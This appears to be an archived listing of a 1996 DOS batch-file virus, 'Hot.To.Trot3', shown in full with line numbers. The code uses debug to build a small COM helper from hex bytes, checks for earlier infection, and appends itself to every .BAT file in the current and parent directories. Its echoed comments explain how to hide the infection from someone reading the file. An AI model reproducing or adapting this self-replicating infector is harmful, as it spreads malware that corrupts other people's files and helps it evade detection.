home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / CCTX0297.ZIP / BVUPDAT2.ZIP / HOT2TROT.ZIP / H2TROT-3.BAT
DOS Batch File  |  1996-10-31  |  2KB  |  68 lines

  1. @echo off
  2. goto HotToTrot3
  3. :To
  4. @echo on
  5. @echo off
  6. echo Welcome to the Hot.To.Trot3 .BAT file virus. 1371 byte parasitic infector
  7. echo.
  8. echo This is the REAL .BAT file (non-infected part)  It started at the
  9. echo @echo off that is about 4 lines above this line.
  10. echo This it Version 3 of the Hot.To.Trot  .BAT file virus.
  11. echo This version checks for a prior infection and will NOT re-infect a
  12. echo .BAT file again. This was a major problem of version 0 and version 1.
  13. echo This file is a "appending" virus (not too easy to do with .BAT files)
  14. echo That should make it easier to hide from some snoop, by makeing a .BAT
  15. echo file that does something, and is more than 50 lines or so.  Then infect
  16. echo it.  The other person will have a more difficult time finding the virus
  17. echo using the LIST.COM program (but it may be MORE apparent if the person
  18. echo TYPE's the file to the screen).
  19. echo Oh well, Life's a bitch :)   L8r all.
  20. echo This is the LAST line of the original .BAT file.
  21. goto Trot3
  22. :HotToTrot3
  23. if (%1==(Im goto Hot
  24. if not exist %0.bat goto To
  25. copy %0.bat Hot>nul
  26. if not exist Hot goto To
  27. echo e 100 BA 68 1 B4 3D CD '!rZ' 93 BE 82 0 B4 D 33 D2 AC 3A C4 74 12 B1 4>To
  28. echo e 118 D3 E2 3C '9v' 4 2C 37 EB 2 ',0' 2 D0 EB E9 33 C9 'IR' F7 DA B8 2>>To
  29. echo e 130 42 CD 21 B4 '?YQ' BA 6C 1 CD 21 B4 3E CD 21 B4 3C 33 C9 83 EA 4>>To
  30. echo e 147 CD 21 93 59 B4 40 BA 6C 1 8B EA 3 E9 4D 80 7E 0 1A 74 1 'BI' CD>>To
  31. echo e 15E 21 B4 3E CD 21 B8 0 4C CD '!Hot' 0>>To
  32. echo n Babe.com>>To
  33. echo rcx>>To
  34. echo 6C>>To
  35. echo w>>To
  36. echo q>>To
  37. echo.>>To
  38. debug<To>nul
  39. Babe 530>nul
  40. echo e 100 BE 82 0 8B D6 B4 D AC 3A C4 74 2 EB F9 C6 44 FF 0 B8 0 3D CD '!r'>To
  41. echo e 118 1D 93 B4 3F B9 1B 0 BA 42 1 CD '!r' 10 BE 55 1 B9 7 0 BF 3B 1 B8>>To
  42. echo e 130 1 4C F3 A6 74 3 B8 0 4C CD '!ToTrot3'>>To
  43. echo n Babe.com>>To
  44. echo rcx>>To
  45. echo 42>>To
  46. echo w>>To
  47. echo q>>To
  48. echo.>>To
  49. debug<To>nul
  50. echo @echo off>To
  51. echo goto HotToTrot3>>To
  52. echo :To>>To
  53. echo @echo on>>To
  54. for %%f in (*.BAT) do call %0 Im %%f
  55. for %%f in (..\*.BAT) do call %0 Im %%f
  56. if exist Hot del Hot
  57. if exist To del To
  58. if exist Trot3 del Trot3
  59. if exist Babe.com del Babe.Com
  60. goto To
  61. :Hot
  62. for %%f in (%0.*) do if %2==%%f goto Trot3
  63. Babe %2
  64. if errorlevel 1 goto Trot3
  65. copy To+%2+Hot Trot3>nul
  66. copy Trot3 %2>nul
  67. :Trot3
  68.